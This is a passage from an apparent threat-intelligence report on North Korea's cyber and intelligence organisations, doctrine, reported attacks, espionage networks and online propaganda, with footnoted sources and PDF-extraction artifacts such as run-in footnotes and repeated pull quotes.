108 http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ mailto:hyk1979hotmail.com Figure 9 A screenshot of the Uriminzokkiri website 109 The website for Kim Il Sung Open University, otherwise known as Our Nation School is also hosted in China.
The WHOIS record for this site can be found in Appendix A.
109 http://www.uriminzokkiri.com/ Figure 10 A screenshot of ournation-school.com.
110 North Korean cyber war and intelligence structure At the top of North Koreas military structure is the National Defense Commission (NDC).
The NDC is also the highest branch of government and the regimes supreme policymaking body.
111  Along with the Central Committee of the Workers Party of Korea and the Cabinet, NDC is at the top of 110 http://www.ournation-school.com/ 111 https://nkleadershipwatch.wordpress.com/dprk-security-apparatus/national-defense-commission/ North Koreas political hierarchy.112 Article 106 of North Koreas Constitution gives the NDC the following powers:113 The power to establish policies of the state in accordance with the military-first revolutionary line.
The power to guide the armed forces and oversee defense building.
The power to supervise and ensure the NDC and its chairmans orders are executed and to establish necessary measures.
The power to override any state decisions or directives that are in opposition to the NDC or its chairmans decisions and directives.
The power to create or remove central organs of the national defense sector.
The power to create and bestow military titles above general-grade officer rank.
The NDC oversees several defense and intelligence bodies including the Ministry of State Security, the Ministry of Peoples Security, the Ministry of Peoples Armed Forces, and the Korean Peoples Army.
The Ministry of State Security (MSS), also known as the State Security Department, is North Koreas primary counterintelligence service.
It is considered an autonomous agent of the regime and reports directly to leader Kim Jong Un.
The MSSs duties include oversight of North Korean prison camps, investigation of domestic espionage, repatriation of defectors, and overseas counterespionage operations.114 The Ministry of Peoples Security is also known as the Ministry of Public Security (MPS).
Focused on domestic order, it oversees North Koreas national police force, conducts criminal investigations and preliminary examinations, and oversees correctional facilities, excluding prison camps.115  While the roles of the MSS and MPS focus more on intelligence than on cyber operations, the MSS also reportedly has a communications monitoring and computer hacking group.116 The Ministry of Peoples Armed Forces (MPAF) administrates the Korean Peoples Army (KPA) and oversees the General Staff Department (GSD), which is responsible for operational command and control of North Koreas armed forces.
The General Staff Department also oversees the Reconnaissance General Bureau (RGB), North Koreas agency for clandestine operations.
The RGB has a role in both traditional and cyber operations.
In the past, the RGB has sent agents on overseas military assistance missions to train insurgent groups.117 The RGB reportedly has a special operations forces (SOF) element118 and oversees six bureaus that specialize in operations, reconnaissance, technology and cyber matters, overseas intelligence collection, inter-Korean talks, and service support.119 Two of these bureaus have been identified as the No.
91 Office and Unit 121.
The No.
91 Office, an office responsible for hacking, operates out of the Mangkyungdae-district of 112 http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ 113 http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html 114 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf 115 http://www.factba.se/handbook-page.php?id1129700 116 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 117 http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf 118 http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf 119 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf Unit 121 comprises both an intelligence component and an attack component.
One of Unit 121s command posts is Chilbosan Hotel in Shenyang, China.
Unit 121 maintains technical reconnaissance teams responsible for infiltration of computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.
Pyongyang.120 Unit 121 comprises both an intelligence component and an attack component.
Unit 121s headquarters is in the Moonshin-dong area of Pyongyang, near the Taedong River.121 It also has components that conduct operations from within China.
One of Unit 121s command posts is Chilbosan Hotel122 in Shenyang, the capital of Liaoning Province, which borders North Korea.123 Shenyang is a Chinese military district.124 According to Dr. Alexandre Mansourov, an expert on North Korea and a visiting scholar at the U.S.-Korea Institute at Johns Hopkins University, They [Unit 121] are believed to have conducted hacking operations from inside China that falsify classified data and disrupt U.S. and South Korean systems.125 Both Unit 121 and an entity known as Lab 110 are reported to maintain technical reconnaissance teams responsible for infiltrating computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.126 127 Figure 11 A map pinpointing the location of the Chilbosan Hotel.128 120 http://www.infosecisland.com/blogview/21577-Concerns-Mount-over-North-Korean-Cyber-Warfare-Capabilities.html 121 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 122 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 123 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 124 http://www.defense.gov/pubs/2014_DoD_China_Report.pdf 125 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 126 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 127 Clarke, R. A.
(2012).
Cyber war: The next threat to national security and what to do about it.
New York, NY: Ecco.
128 maps.google.com Figure 12 A satellite view of the Chilbosan Hotel.129 Several entities are nested under the Workers Party.
The Central Party Committee oversees the Central Party Investigative Group, also known as Unit 35.130 Unit 35 is reportedly responsible for technical education and training of cyber warriors.131 The Unification Bureaus132 Operations Department is responsible for cyber-psychological warfare, organizational espionage, and oversight of Unit 204.
Unit 204s responsibilities include planning and execution of cyber-psychological warfare operations and technological research.
The Psychological Operations Department of the North Korea Defense Commission also engages in cyber-psychological warfare.133 The 225th Bureau, or Office 225, is responsible for training agents, infiltration operations in South Korea, and creation of underground political parties in order to incite disorder and revolution.
It plays a more traditional intelligence and psychological operations role, rather than focusing on cyber operations.134 The United Front Department (UFD) conducts overt operations to create pro-North Korean groups in South Korea.
Examples of this activity include the Korean Asia-Pacific Committee and the Ethnic Reconciliation Council.
The UFD also manages inter-Korean dialogue and North Koreas policy toward South Korea.
Its operations are also more traditional rather than cyber-focused.135 129 maps.google.com 130 Clarke, R. A.
(2012).
Cyber war: The next threat to national security and what to do about it.
New York, NY: Ecco.
131 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 132 http://goodfriendsusa.blogspot.co.uk/2008/07/north-korea-today-no174.html 133 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 134 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf 135 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf The Unification Bureau falls under the Workers Party.
Its Operations Department is responsible for cyber- psychological warfare, organizational espionage, and oversight of Unit 204.
Unit 204s responsibilities include planning and execution of cyber- psychological warfare operations and technological research.
The Psychological Operations Department of the North Korea Defense Commission also engages in cyber-psychological warfare.
The Liaison Department of the Workers Party oversees a faction of ethnic North Koreans residing in Japan who are critical to North Koreas cyber and intelligence programs.
This group, which was established in 1955, is referred to by various names including the Chosen Soren, Chongryon, and the General Association of Korean Residents in Japan.136 The Chongryon ascribe to juche and seek to preserve North Korean culture while living in Japan.
They operate North Korean style schools and refuse to assimilate with Japanese culture.137 According to Mitsuhiro Suganuma, former section head of the second intelligence department of the Japanese Public Security Intelligence Agency (PSIA),  Chongryon is virtually under the direct control of the Liaison Department of the Workers Party of Korea, which has been in charge of North Koreas covert operations and underground activities against South Korea.
Chongryon in Japan has been a strong support organization aimed at bringing a revolution in South Korea, or a red unification by force.
He also stated North Korea will continue to make Chongryon serve as Pyongyangs pawn in covert operations against South Korea.138 The Chongryon are vital to North Koreas military budget, raising funds via weapons trafficking, drug trafficking, and other black market activities.139  The group also forms front companies abroad that benefit the regime by generating hard currency.
One example is Unikotech, which was formed to sell KCC products abroad.
140 The Chongryons underground group known as the Gakushu-gumi, or the study group, gathers intelligence for North Korea and helps the regime procure advanced technologies.141 The Chongryons role in North Korean intelligence and resource acquisition is discussed below in more detail.
The regime also has several government bodies under the Cabinet142 that oversee its infrastructure, intelligence, and technological development.
These include the Central Scientific and Technological Information Agency (CSTIA), the Ministry of Electronics Industry, and the Ministry of Posts and Telecommunications.
The CSTIA collects, analyzes, and processes data regarding advanced science and technology then sends relevant information to appropriate areas of the national economy.143  The amount of information contained in CSTIAs technical database makes it North Koreas largest scientific facility.
According to a CIA article, review of CSTIAs publications showed that China, Russia, and Japan are important sources of technical data.
CSTIAs publications include newsletters and an 18-volume science and technology reference series.144  The Ministry of Posts and Telecommunications is the body of oversight for Star Joint Venture Co.145 136 http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html 137 http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html 138 http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ 139 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 140 http://www.learningace.com/doc/2025666/863b663a9fb13b456304dd0a3bc43547/cyberwarfare 141 http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf 142 http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ 143 https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html 144 https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf 145 https://www.northkoreatech.org/tag/ministry-of-posts-and-telecommunications/ Chongryon is virtually under the direct control of the Liaison Department of the Workers Party of Korea, which has been in charge of North Koreas covert operations and underground activities against South Korea.
North Korean cyber and intelligence organizational chart Figure 13 North Korean cyber and intelligence organizational chart North Koreas cyber doctrine, strategies and goals North Koreas cyber warfare doctrine has not been clearly stated.
However, based on cultural and technical observations, we may deduce that North Koreas cyber doctrine follows the tenets of juche nationalism and the songun doctrine.
Although North Koreas limited online presence makes a thorough analysis of their cyber warfare capabilities a difficult task, it must be noted that what is known of those capabilities closely mirrors their kinetic warfare tactics.
Cyber warfare is simply the modern chapter in North Koreas long history of asymmetrical warfare.
North Korea has used various unconventional tactics in the past, such as guerilla warfare, strategic use of terrain, and psychological operations.146 The regime also aspires to create viable nuclear weapons.147 Asymmetrical warfare is defined as a conflict in which the resources of two belligerents differ in essence and in the struggle, interact and attempt to exploit each others characteristic weaknesses.
Such struggles often involve strategies and tactics of unconventional warfare, the weaker combatants attempting to use strategy to offset deficiencies in quantity or quality.
148 According to the aforementioned report to the House Armed Service Committee, Cyber warfare is an important asymmetric dimension of conflict that North Korea will probably continue to emphasize  in part because of its deniability and low relative costs.149 North Koreas poor economic state150, further explains the regimes reliance on these tactics.
In 2014, the regime reportedly spent 16 of its budget on defense.151 The North Korean military places a strong emphasis on information warfare capabilities including political and psychological warfare152 and cyber or hacker warfare.153 The report by Capt.
Duk-Ki Kim, Ph.D. highlighted North Koreas counter-asymmetric strategy and ranked each based on intensity and frequency: Figure 14 Threat matrix of North Korean asymmetric war capabilities.154 Cyber warfare operations Just ten years ago, experts noted that North Korea was one of the least network-ready and most isolated societies on the planet.155 Today North Koreas air-gapped networks and prioritization of resources for military use provide both a secure and structured base of operations for cyber operations and a secure means of communications.156 North Koreas hermit infrastructure creates 146 http://www.history.army.mil/brochures/kw-balance/balance.htm 147 http://www.bbc.com/news/world-asia-pacific-11813699 148 http://www.princeton.edu/achaney/tmve/wiki100k/docs/Asymmetric_warfare.html 149 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf 150 http://www.foreignpolicy.com/articles/2013/04/29/7_things_north_korea_is_really_good_at 151 http://blogs.wsj.com/korearealtime/2014/04/10/north-korea-details-budget-plans/ 152 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 153 http://www.giac.org/paper/gsec/1870/information-warfare/103284 154 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 155 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH4.pdf 156 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf a cyber-terrain that deters reconnaissance.
Because North Korea has few Internet connections to the outside world, anyone seeking intelligence on North Koreas networks has to expend more resources for cyber reconnaissance.157 A 2003 article by the U.S. Office of the National Counterintelligence Executive assessed that Development of the nation, rather than empowerment of the individual, appears to be driving DPRK efforts to develop domestic IT infrastructure and industry.158 In November 2013, Kim Jong Un referred to cyber warfare capabilities as a magic weapon in conjunction with nuclear weapons and missiles.159 According to Kim Heung-kwang, a North Korean defector and former computer science professor, the regime has the following motivations for expanding its cyber warfare capabilities:160 Cyber capabilities are a cost-effective way to offset North Koreas lack of kinetic military prowess.
North Koreas school systems place a strong emphasis on math, giving the nation confidence in its programmers, cryptographers, and security researchers.
In the modern warfare landscape, cyber capabilities are potentially more utilitarian than heavy artillery or aircraft.
Cyber warfare capabilities provide a platform for espionage, psychological operations, and other forms of non-kinetic warfare.
Considering the separatist nature of North Koreas infrastructure, cyber warfare provides a strategic advantage since outbound attacks are possible, but inbound attacks would have limited reach.
Cyber warfare allows North Korea to leverage the Internets inherent flaws for offensive purposes while maintaining its defenses, primarily via air-gapping its most critical networks from the outside world.
North Koreas attack and defense capabilities reportedly include the following cyber warfare and electronic warfare components: offensive cyber operations (OCO) computer network operations (CNO), which includes both computer network attack (CNA) and computer network exploitation (CNE) distributed denial of service (DDoS)161 satellite monitoring drones GPS jamming capabilities162 and deployment of electromagnetic pulse (EMP).163 North Koreas OCO and CNO capabilities became apparent as early as 2004, when North Korea reportedly gained access to 33 of 80 South Korean military wireless communication networks.
In June 2006, an attack on the U.S. State Department originating in the East Asia-Pacific region coincided with U.S.-North Korea negotiations over the regimes nuclear missile testing.164 A month later, a South Korean military report implicated North Koreas Unit 121 in hacking the South Korean and U.S. Defense Departments.
North Korea also tested a logic bomb in October 2007.
A logic bomb is malicious 157 http://www.huffingtonpost.com/2011/07/25/digital-revolution-north-korea_n_908368.html 158 http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf 159 http://english.chosun.com/site/data/html_dir/2013/11/05/2013110501790.html 160 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html 161 http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf 162https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 163 http://www.theregister.co.uk/2014/04/22/norks_drones_made_in_china/ 164 http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112?
http://www.google.com/url?qhttp3A2F2Fwww.defense.gov2Fpubs2FReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdfsaDsntz1usgAFrqEzfhmQPPTuRKlcewmT2M5Oj7Xmg93Q http://www.google.com/url?qhttp3A2F2Fwww.theregister.co.uk2F20142F042F222Fnorks_drones_made_in_china2FsaDsntz1usgAFrqEzfTItR6h7J68LY80JmBby_k12RQdw code programmed to execute based on a pre-defined triggering event.
Following the logic bomb test, the UN passed a resolution banning sales of certain computer hardware to North Korea.165 North Korea considers its cyber warfare capabilities an important asymmetric asset in the face of its perceived enemies, the U.S. and South Korea.
While North Korea does not have an immersive digital culture, both the U.S. and South Korea are heavily dependent upon technological infrastructure for social, economic, and political stability.166 For this reason, a cyber attack that cripples or compromises the reliability of the U.S. or South Koreas technological infrastructure could have a far-reaching impact.
Gaming for profit and pwnage North Korea has reportedly used computer games for both illegal capital gain and orchestrating cyber attacks.
In 2011, South Korean police arrested five individuals, including one Chinese national, for allegedly collaborating with North Korean hackers affiliated with the Korea Computer Center to steal money via online games.167 According to South Korean reports, the culprits used an auto-player to quickly progress in the massively multiplayer online role-playing game (MMORPG) Lineage and were able to use the games market to obtain real currency.168 In 2013, South Korean officials released information stating they had found evidence that North Korea was using games as a medium for infecting machines and launching cyber attacks.
North Korea had used game downloads to infect 100,000 South Korean machines for a botnet used to launch a distributed denial of service (DDoS) attack against Incheon Airport.169 This clever tactic sought to leverage a seemingly innocent game as a force multiplier in order to amplify the effects of a DDoS attack on a critical infrastructure target.
However, in this case, there was little impact on the target.
Intelligence and counterintelligence North Koreas intelligence program is one of its strongest military assets, providing foundational support for all other military operations.
The regimes cyber warfare capabilities, in particular, rely heavily on open-source intelligence (OSINT) collection and cyber-espionage.
170 As noted in a CIA publication, It is a significant irony of our information age that open-source intelligence is contributing to the survival and development of one of the worlds most secretive regimes.171 Historically, the primary goals of the regimes intelligence program included collection and dissemination of intelligence concerning any possible political, military, or economic threat to the regimes security and stability.
Secondary goals have included acquisition of foreign military and civilian technologies and equipment, support of the DPRKs foreign policy goals, training and 165 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea 166 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH2.pdf 167 http://www.theguardian.com/technology/2011/aug/04/south-north-korean-hackers-china 168 http://english.chosun.com/site/data/html_dir/2011/05/06/2011050600827.html 169 http://www.zdnet.com/blog/security/north-korea-ships-malware-infected-games-to-south-korean-users-uses-them-to-launch-ddos- attacks/12383 170 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf 171 https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html North Korea has used computer games for both illegal capital gain and orchestrating cyber attacks.
support for foreign revolutionary and terrorist organizations, and the acquisition of foreign capital for state and intelligence operations.172 North Korea has a broad reach for intelligence collection, which extends to cyber intelligence.173 In April 2013, Solutionary, a company providing managed security services, reported a marked increase in both overt attacks and information gathering attempts originating from North Korean IPs.
Solutionary refers to any overt external attacks on company networks or attempts to steal data as touches.
They reportedly recorded 12,473 of these touches in February 2013, 11,000 of which were directed at a single financial institution.
As a baseline, Solutionary noted that typically only 200 incidents per month are traced to North Korean origin.174 This is an interesting claim, considering that attacks attributed to North Korea are usually routed through other countries.
As mentioned above, a faction of ethnic North Koreans residing in Japan, known as the Chongryon, are critical to North Koreas cyber and intelligence programs and help generate hard currency for the regime.
The Chongryon headquarters has been recognized as the de facto North Korean embassy in Japan.
In 2012, the organizations headquarters was seized to pay for the groups past due debts.175 Figure 15 Headquarters of the Chongryon.176 172 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH13.pdf 173 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf 174 http://www.usatoday.com/story/tech/2013/04/26/cyberspying-from-north-korean-ip-addresses-spike/2115349/ 175 http://sundaytimes.lk/?optioncom_contentviewarticleid21034:japan-court-approves-seizure-of-nkorea-embassy- mediacatid81:newsItemid625 176 http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ A faction of ethnic North Koreans residing in Japan, known as the Chongryon, are critical to North Koreas cyber and intelligence programs.
It was then purchased by a monk named Ekan Ikeguchi, who let the Chongryon continue to use the building in what he referred to as a goodwill gesture.
Ikeguchi is one of the Chongryons many ties to organized crime.
Ikeguchi was arrested in the past for an attempted coup against the Japanese government.
He also has ties to the political group Nihon Seinensya, which is involved in illegal activities in conjunction with the yakuza syndicate Sumiyoshi-kai, which imports and sells amphetamines made in North Korea.177 North Korea also has black market ties to Sumiyoshi-kais rival syndicate, Yamaguchi-gumi.
Many members of the Kodo-kai, Yamaguchi-gumis ruling faction, are Korean-Japanese, with ties to North Korea.178 Masahiro Namikawa, leader of the drug trafficking Seido-kai yakuza organization, also has ties to the Chongryon.179 The Chongryon operate at least two websites, chongryon.com, which is in Japanese, and korea- np.co.jp.
WHOIS records for chongryon.com indicate that it was registered by guanin o using the email address park2mac.com.
The WHOIS information for korea-np.co.jp.
shows that it was registered by Choson Shinbo Company Inc.
The WHOIS records for these sites can be found in Appendix A. Additionally, the Chongryon operate a ferry called the Mangyongbong-92, the only direct transit from Japan to North Korea.
In 2003, they were suspected of using the ferry to smuggle missile parts.180 In 2006, the ferry was temporarily banned from Japanese waters when Japanese officials discovered the Chongryon were using it to smuggle dual-use electronics to North Korea to be used for military purposes.181 North Korea has a global network of state-run businesses located in 30 to 40 countries that is used for espionage activities.
The Reconnaissance General Bureau is responsible for oversight of this network.182 The businesses include cafes and other non-suspect establishments.
The highest concentration of these is in China.
Members of this espionage network reportedly send more than 100 million in cash per year to the regime and provide cover for spies.183 These establishments are also used for money laundering and drug trafficking.184 The regime is also known to kidnap foreign citizens and use them as instruments for intelligence.
Prisoners are first tortured and psychologically conditioned to bend to the regimes will.
They are then used based on their skillset.
This may include teaching their language to North Koreans, spreading propaganda in their native language, providing translation services, 177 http://japandailypress.com/religious-group-that-bought-north-korean-embassy-building-has-mob-ties-0826568/ 178 http://culturmag.de/crimemag/jake-adelstein-the-yakuza-2/20212 179 http://www.thedailybeast.com/articles/2013/06/25/the-great-japanese-gang-wars.html 180 http://news.bbc.co.uk/2/hi/asia-pacific/2958968.stm 181 http://www.washingtontimes.com/news/2006/oct/16/20061016-122859-4745r/ 182 http://www.ibtimes.com/north-koreas-international-network-restaurants-used-gain-hard-currency-espionage-1427242 183 http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American- Hiker.html?utm_contentbuffer6bd46utm_mediumsocialutm_sourcetwitter.comutm_campaignbuffer 184 http://freebeacon.com/national-security/north-koreas-overseas-restaurants-used-for-espionage-and-gaining-hard-currency/ North Korea has a global network of state-run businesses located in 30 to 40 countries that is used for espionage activities.
These establishments are also used for money laundering and drug trafficking.
conducting military training, or other skills the regime deems useful.185 In July 2014, Japanese officials agreed to lift some sanctions on North Korea when the regime agreed to investigate the whereabouts of Japanese citizens who were allegedly abducted by North Korean agents decades ago.
Sanctions to be lifted include the ban on port calls to Japan by North Korean ships.186 North Korea has also infiltrated important positions in South Korea for both intelligence and psychological operations purposes.187 In 2011, South Koreas National Intelligence Service reportedly discovered the presence of Communist spies.
These spies within their trusted circles had been reporting back to North Korea for almost 10 years.
The embedded spies included a Democratic Party representative.
According to the agency, the spies were on a mission to infiltrate and influence the Democratic Party and to gather military intelligence.188 The regime also attempts to infiltrate organizations made up of North Koreans who seek shelter in South Korea, in order to gain intelligence.
In the past several years, South Korea has arrested at least 14 defectors who were found to be spies.189 These intelligence collection and counterintelligence capabilities are an attempt to provide the regime with a strategic asymmetrical advantage.
The regime leverages its human and cyber resources around the globe to provide an influx of intelligence, while very little credible intelligence about the regimes activities and capabilities ever becomes available to the outside world.
Psychological operations North Korea continues to be a master of propaganda and deception and leverages the cyber realm for psychological operations.
Modern North Korean psychological operations tactics include distribution of propaganda via traditional media outlets, websites, and social media.
Many of these psychological operations campaigns are politically focused.190 According to Dr. Andrei Lankov, the North Korean government has very rational and highly successful manipulators who usually get what they want by outsmarting everybody else in the process.191 The regimes Unit 204 is responsible for cyber-psychological operations.
These operations are PSYOP tailored for the cyber arena.
In order to be successful, cyber- psychological campaigns require speed, precision, and creativity.
These campaigns leverage the phenomenon of viral, unverified news stories that tend to rapidly propagate via social media, mobile text messaging, and other electronic communications.
This phenomenon creates an arena for strategic propagation of both fact and fiction for the purposes of sentiment manipulation.
Such messages may be used for 185 http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American- Hiker.html?utm_contentbuffer6bd46utm_mediumsocialutm_sourcetwitter.comutm_campaignbuffer 186 http://m.us.wsj.com/articles/tokyo-to-lift-some-sanctions-on-pyongyang-1404354699?mobiley 187 http://www.nytimes.com/2013/10/02/world/asia/northern-spy-lifts-cloak-on-koreas-deadly-rivalry.html?pagewanted2 188 http://www.kccoc.org/home/?mideng_kccoc_info_koreadocument_srl3223sort_indexreaded_countorder_typedesc 189 http://www.washingtonpost.com/world/prominent-n-korean-defector-acquitted-of-espionage-by-s-korean-court/2013/08/22/642b3712-0b19- 11e3-89fe-abb4a5067014_story.html 190 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg 191 http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ Such messages can be used for recruitment, cyber mobilization, and to instill fear in a target population.
recruitment, cyber mobilization, and to instill fear in a target population.
Cyber-psychological operations may also include mental suggestion using technology as a delivery mechanism for subliminal cues.
It is unknown whether North Korea possesses this capability.192 North Korean citizens have access to state-approved social networks on the Kwangmyong.193 Figure 16 A photo posted by Jean Lee on Instagram shows one of the social networking sites on the Kwangmyong.194 The regime has a limited overt social media presence on the Internet.
Some of the known social media platforms employed by the regime include Twitter, Facebook, and YouTube.
The YouTube channel North Korea Today, operated by user rodrigorojo1, features news clips from North Korea.
It is unclear whether this channel is officially sanctioned.195 The North Korea Today YouTube channel also has corresponding profiles on Twitter196 and Facebook.197 192 http://fmso.leavenworth.army.mil/documents/new-psyop.pdf 193 http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ 194 http://instagram.com/p/WpcJs1OCkb/ 195 https://www.youtube.com/user/rodrigorojo1 196 https://twitter.com/NorthKoreaT0day 197 https://www.facebook.com/pages/Korean-Central-Television/380193555435568?frefts Figure 17 A screenshot of the North Korea Today YouTube Channel.198 The Uriminzokkiri website, known for pushing juche ideology and anti-American and anti-South Korean messages, has accompanying social media profiles on YouTube,199 Google,200 and Facebook.201 It also has Twitter profiles in both Korean202 and English.203 198 https://www.youtube.com/user/rodrigorojo1 199 https://www.youtube.com/user/uriminzokkiri 200 https://plus.google.com/u/0/112306344682887627095 201 https://www.facebook.com/pages/Uriminzokkiri/124452740935216 202 https://twitter.com/uriminzok 203 https://twitter.com/uriminzok_engl Figure 18 A screenshot of the Uriminzokkiri YouTube channel.204 Figure 19 A screenshot from the Uriminzokkiri Facebook page shows anti-U.S. and pro-juche rhetoric.205 204 https://www.youtube.com/user/uriminzokkiri/featured 205 https://www.facebook.com/pages/Uriminzokkiri/124452740935216 Figure 20 A screenshot of the Uriminzokkiri Korean language Twitter profile.206 Figure 21 A screenshot of the Uriminzokkiri English language Twitter profile.207 North Korean propaganda208 is used for several purposes: to enforce the ideals of allies and sympathizers, to frame North Korea in a favorable light to outsiders, to sensationalize the regimes perceived self-reliance and military prowess, and to shield its own citizens from the outside world.209  Juche ideology and indoctrination of the regimes youth ensure support of the local population.
North Koreans accept military duty as an honor and strive to excel in their service to the regime.
In the spirit of juche, the regime uses disinformation to hide lapses or tout accomplishments that may have never been 206 https://www.facebook.com/pages/Uriminzokkiri/124452740935216 207 https://twitter.com/uriminzok_engl 208 http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf 209 http://fas.org/irp/eprint/cno-dprk.pdf In the spirit of juche, the regime uses disinformation to hide lapses or tout accomplishments that may have never been achieved.
achieved.210 Limiting citizen access to the outside world by instituting the Kwangmyong intranet, North Korea ensures its citizens are not exposed to outside information that is counterproductive to citizen indoctrination or in conflict with juche ideals.
North Korea portrays the West, particularly the United States, as an enemy.
The regime uses this strategy of shifting the populations negative sentiments toward an external entity to keep its citizens ignorant of North Koreas own economic hardship, regime brutality, and systemic incompetence.211 For example, prior to Kim Jong Ils death in 2011, North Korean media altered photos of their Dear Leader to make him appear younger and healthier than he really was.
This became obvious when the altered photos were compared to those taken by Western media around the same time.212 According to Dr. Andrei Lankov, North Koreans now have a much better understanding of what is going on in the outside than they did before.
This is largely thanks to the spread of DVDs and video content in the country, but also because some of them have been to China and talk about what they have seenmany [of] them sincerely believe that the United States remains ready to attack at any moment and that Japan is an incurably aggressive placenearly all of them swallow the official propaganda myths about the Korean War being started by the American Imperialists who invaded them.
Hence, they see the outside world as an inherently dangerous place.213 Some human rights groups seek to reach out to North Korean citizens and break them from this isolation.
In August 2014, the New York-based charity Human Rights Foundation sponsored a hackathon in San Francisco called Hack North Korea to find new ways to get information in, out, and around North Korea.
The event brought together many programmers, human rights campaigners, and defectors.214 North Korea even uses trolling as a PSYOP tactic.
On the Internet, trolls are users who post messages that are often crass, controversial, inflammatory, or offensive, in order to evoke a strong reaction or influence a readers opinion.
Often, the motivation for trolling is simply for the trolls enjoyment.
The rude and offensive trolling tactics are in stark contrast to traditional forms of persuasive rhetoric.
However, North Korea reportedly utilizes over 200 military intelligence operatives to troll South Korean message boards and social media pages with pro-North Korean sentiments.215 Matt Rhoades, director of the cyberspace and security program at the Truman National Security Project, said, North Koreas cyber-development is almost just a new harassment mechanism for them, a low-cost, asymmetric method to harass its neighbor in the south216 Leveraging the cyber and intelligence resources noted above, North Koreas psychological operations serve an important strategic role.
The ability to influence outsiders, while effectively isolating its own population from most outside influence, allows North Korea to remain an enigma.
Additionally, in line with its PSYOP tactics, North Korea may strategically take credit for cyber attacks that were, in reality, launched by another entity.
